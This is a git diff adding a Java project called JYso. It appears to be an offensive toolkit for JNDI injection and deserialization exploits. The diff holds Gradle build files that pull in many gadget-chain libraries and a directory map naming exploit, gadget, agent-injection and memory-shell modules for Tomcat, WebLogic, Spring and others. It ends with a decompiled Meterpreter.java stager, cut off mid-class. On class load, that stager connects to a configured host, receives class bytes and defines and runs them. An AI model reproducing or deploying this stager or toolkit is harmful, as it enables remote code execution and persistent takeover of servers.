libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc + api libs.org.glassfish.tyrus.tyrus.server + api libs.org.javassist.javassist + api libs.xerces.xercesimpl + api libs.com.fasterxml.jackson.core.jackson.databind + api libs.com.teradata.jdbc.terajdbc + api libs.jboss.jboss.serialization + api libs.org.apache.wicket.wicket.util + api libs.com.vaadin.vaadin.server + api libs.org.apache.myfaces.core.myfaces.impl + api libs.rhino.js + api libs.rome.rome + api libs.com.alibaba.fastjson + api libs.com.alibaba.fastjson2.fastjson2 + api libs.org.jenkins.ci.main.remoting + api libs.org.jboss.weld.weld.core + api libs.org.jboss.remoting.jboss.remoting + api libs.org.jboss.remotingjmx.remoting.jmx + api libs.org.jboss.interceptor.jboss.interceptor.core + api libs.org.jboss.interceptor.jboss.interceptor.spi + api libs.org.python.jython.standalone + api libs.org.hibernate.hibernate.core + api libs.org.fusesource.jansi.jansi + api libs.commons.cli.commons.cli + api libs.org.apache.commons.commons.lang3 + api libs.org.apache.logging.log4j.log4j.core + api libs.org.springframework.spring.core + api libs.org.springframework.spring.beans + api libs.org.springframework.spring.web + api libs.org.springframework.spring.oxm + api libs.org.springframework.spring.tx + api libs.org.springframework.spring.jdbc + api libs.org.springframework.spring.webmvc + api libs.org.springframework.spring.aop + api libs.org.springframework.spring.context.support + api libs.org.springframework.spring.test + api libs.javax.servlet.javax.servlet.api + api libs.com.mchange.c3p0 + api libs.commons.collections.commons.collections + api libs.org.apache.commons.commons.collections4 + api libs.org.apache.tomcat.embed.tomcat.embed.core + api libs.org.ow2.asm.asm + api libs.com.unboundid.unboundid.ldapsdk + api libs.com.nqzero.permit.reflect + api libs.net.jodah.expiringmap + api libs.org.reflections.reflections + api libs.org.beanshell.bsh + api libs.io.undertow.undertow.core + api libs.io.undertow.undertow.servlet + api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec + api libs.com.beust.jcommander + api libs.org.codehaus.groovy.groovy + api libs.org.apache.commons.commons.text + api libs.org.eclipse.jetty.jetty.ant + api libs.org.apache.maven.plugins.maven.assembly.plugin + api libs.org.apache.click.click.nodeps + api libs.org.clojure.clojure + api libs.cn.hutool.hutool.all + api libs.javax.websocket.javax.websocket.api + api libs.com.caucho.resin + + implementation files('libs/jai-core-1.1.3.jar') + implementation files('libs/weblogic-server.jar') + + implementation 'org.codehaus.castor:castor-xml:1.4.1' + implementation 'com.cedarsoftware:json-io:4.9.1' + implementation 'org.jyaml:jyaml:1.3' + implementation 'com.esotericsoftware:kryo:4.0.0' + implementation 'commons-configuration:commons-configuration:1.10' + implementation 'com.thoughtworks.xstream:xstream:1.4.9' + implementation 'org.apache.xbean:xbean-naming:4.5' + implementation 'com.rometools:rome:1.7.0' + implementation 'net.sf.json-lib:json-lib:2.4:jdk15' + implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' + + implementation 'commons-beanutils:commons-beanutils:1.9.4' + + runtimeOnly libs.org.aspectj.aspectjweaver + compileOnly libs.org.apache.tomcat.tomcat.websocket +} + +group = 'org.example' +version = '1.3.5' +description = 'JYso' +java.sourceCompatibility = JavaVersion.VERSION_1_8 + +publishing { + publications { + maven(MavenPublication) { + from(components.java) + } + } +} + +tasks.withType(JavaCompile) { + options.encoding = 'UTF-8' +} + +tasks.withType(Javadoc) { + options.encoding = 'UTF-8' +} + +compileJava { + options.compilerArgs << '-XDignore.symbol.file' + options.fork = true + options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe' +} \ No newline at end of file diff --git a/docs/directory_structure.md b/docs/directory_structure.md new file mode 100644 index 0000000..bb3a38a --- /dev/null +++ b/docs/directory_structure.md @@ -0,0 +1,72 @@ +├─.gradle Gradle构建配置文件 +│ ├─8.7 +│ │ ├─checksums +│ │ ├─dependencies-accessors +│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71 +│ │ │ ├─classes +│ │ │ │ └─org +│ │ │ │ └─gradle +│ │ │ │ └─accessors +│ │ │ │ └─dm +│ │ │ └─sources +│ │ │ └─org +│ │ │ └─gradle +│ │ │ └─accessors +│ │ │ └─dm +│ │ ├─executionHistory +│ │ ├─expanded +│ │ ├─fileChanges +│ │ ├─fileHashes +│ │ └─vcsMetadata +│ ├─buildOutputCleanup +│ └─vcs-1 +├─.idea IDEA配置信息文件 +│ ├─artifacts +│ ├─codeStyles +│ ├─inspectionProfiles +│ └─libraries +├─docs 有关文档 +├─gradle +│ └─wrapper +├─libs 第三方jar +└─src +├─main +│ └─java +│ └─com +│ └─qi4l +│ └─jndi +│ ├─controllers JNDI路由逻辑 +│ │ └─utils +│ ├─enumtypes +│ ├─exceptions +│ ├─exploit -cp 模式下的漏洞逻辑 +│ ├─gadgets 反序列化链 +│ │ ├─annotation +│ │ ├─Config +│ │ └─utils +│ │ ├─beanshell +│ │ ├─cc +│ │ ├─clojure +│ │ ├─dirty +│ │ ├─handle +│ │ ├─jdbc +│ │ ├─jre +│ │ └─utf8OverlongEncoding +│ └─template +│ ├─Agent Agent注入逻辑 +│ │ └─utli +│ ├─echo 回显类 +│ └─memshell 内存shell逻辑 +│ ├─BypassNginxCDN +│ ├─jboss +│ ├─jetty +│ ├─resin +│ ├─shell +│ ├─spring +│ ├─struts2 +│ ├─tomcat +│ ├─Tomcat_Spring_Jetty +│ ├─weblogic +│ └─Websphere +└─test +└─java \ No newline at end of file diff --git a/docs/img/logo.png b/docs/img/logo.png new file mode 100644 index 0000000..e2dcf98 Binary files /dev/null and b/docs/img/logo.png differ diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml new file mode 100644 index 0000000..92e9c1e --- /dev/null +++ b/gradle/libs.versions.toml @@ -0,0 +1,132 @@ +# This file was generated by the Gradle 'init' task. +# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format + +[versions] +cn-hutool-hutool-all = "5.7.7" +com-alibaba-fastjson = "1.2.83" +com-alibaba-fastjson2-fastjson2 = "2.0.26" +com-beust-jcommander = "1.78" +com-caucho-resin = "4.0.65" +com-fasterxml-jackson-core-jackson-databind = "2.11.3" +com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10" +com-mchange-c3p0 = "0.9.5.5" +com-nqzero-permit-reflect = "0.3" +com-teradata-jdbc-terajdbc = "20.00.00.06" +com-unboundid-unboundid-ldapsdk = "4.0.9" +com-vaadin-vaadin-server = "7.7.14" +commons-cli-commons-cli = "1.5.0" +commons-collections-commons-collections = "3.2.1" +io-projectreactor-reactor-core = "3.4.26" +io-undertow-undertow-core = "2.2.2.Final" +io-undertow-undertow-servlet = "2.2.2.Final" +javax-servlet-javax-servlet-api = "4.0.1" +javax-websocket-javax-websocket-api = "1.1" +jboss-jboss-serialization = "4.2.2.GA" +net-jodah-expiringmap = "0.5.9" +org-apache-click-click-nodeps = "2.3.0" +org-apache-commons-commons-collections4 = "4.0" +org-apache-commons-commons-lang3 = "3.12.0" +org-apache-commons-commons-text = "1.8" +org-apache-logging-log4j-log4j-core = "2.14.1" +org-apache-maven-plugins-maven-assembly-plugin = "3.0.0" +org-apache-myfaces-core-myfaces-impl = "2.2.9" +org-apache-tomcat-embed-tomcat-embed-core = "8.5.58" +org-apache-tomcat-tomcat-websocket = "9.0.62" +org-apache-wicket-wicket-util = "6.23.0" +org-aspectj-aspectjweaver = "1.9.7" +org-beanshell-bsh = "2.0b5" +org-clojure-clojure = "1.8.0" +org-codehaus-groovy-groovy = "2.4.5" +org-eclipse-jetty-jetty-ant = "11.0.7" +org-fusesource-jansi-jansi = "2.4.0" +org-glassfish-tyrus-tyrus-server = "2.0.0" +org-hibernate-hibernate-core = "4.3.11.Final" +org-javassist-javassist = "3.29.2-GA" +org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final" +org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final" +org-jboss-remoting-jboss-remoting = "4.0.19.Final" +org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final" +org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final" +org-jboss-weld-weld-core = "1.1.33.Final" +org-jenkins-ci-main-remoting = "2.55" +org-ow2-asm-asm = "8.0.1" +org-python-jython-standalone = "2.5.2" +org-reflections-reflections = "0.9.10" +org-springframework-spring-aop = "5.2.3.RELEASE" +org-springframework-spring-beans = "5.2.3.RELEASE" +org-springframework-spring-context-support = "5.2.3.RELEASE" +org-springframework-spring-core = "5.2.3.RELEASE" +org-springframework-spring-jdbc = "5.2.3.RELEASE" +org-springframework-spring-oxm = "5.2.3.RELEASE" +org-springframework-spring-test = "5.2.3.RELEASE" +org-springframework-spring-tx = "5.2.3.RELEASE" +org-springframework-spring-web = "5.2.3.RELEASE" +org-springframework-spring-webmvc = "5.2.3.RELEASE" +rhino-js = "1.7R2" +rome-rome = "1.0" +xerces-xercesimpl = "2.12.0" + +[libraries] +cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" } +com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" } +com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" } +com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" } +com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" } +com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" } +com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" } +com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" } +com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" } +com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" } +com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" } +com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" } +commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" } +commons-collections-commons-collections = { module = "commons-collections:commons-collections", version.ref = "commons-collections-commons-collections" } +io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" } +io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" } +io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" } +javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" } +javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" } +jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" } +net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" } +org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" } +org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" } +org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" } +org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" } +org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" } +org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" } +org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" } +org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" } +org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } +org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" } +org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } +org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" } +org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" } +org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" } +org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" } +org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" } +org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" } +org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" } +org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" } +org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" } +org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" } +org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" } +org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" } +org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" } +org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" } +org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" } +org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" } +org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" } +org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" } +org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" } +org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" } +org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" } +org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" } +org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" } +org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" } +org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" } +org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" } +org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" } +org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" } +rhino-js = { module = "rhino:js", version.ref = "rhino-js" } +rome-rome = { module = "rome:rome", version.ref = "rome-rome" } +xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } \ No newline at end of file diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..e644113 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..b82aa23 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100644 index 0000000..1aa94a4 --- /dev/null +++ b/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..25da30d --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/libs/jai-core-1.1.3.jar b/libs/jai-core-1.1.3.jar new file mode 100644 index 0000000..b29b8ee Binary files /dev/null and b/libs/jai-core-1.1.3.jar differ diff --git a/libs/weblogic-server.jar b/libs/weblogic-server.jar new file mode 100644 index 0000000..6c25661 Binary files /dev/null and b/libs/weblogic-server.jar differ diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..5f1e042 --- /dev/null +++ b/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'JYso' diff --git a/src/main/java/Meterpreter.java b/src/main/java/Meterpreter.java new file mode 100644 index 0000000..885faee --- /dev/null +++ b/src/main/java/Meterpreter.java @@ -0,0 +1,138 @@ +/* + * Decompiled with CFR 0.152. + */ + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + public String host; + public String port; + private HashMap parameterMap; + + public static void main(String[] args) { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + public void initLhost() { + this.host = ""; + this.port = ""; + } + + public String toString() { + if (this.host != null && this.port != null) { + Thread thread = new Thread(this); + thread.start(); + this.parameterMap.put("result", "ok".getBytes()); + } else { + this.parameterMap.put("result", "host or port is null".getBytes()); + } + this.parameterMap = null; + return ""; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new 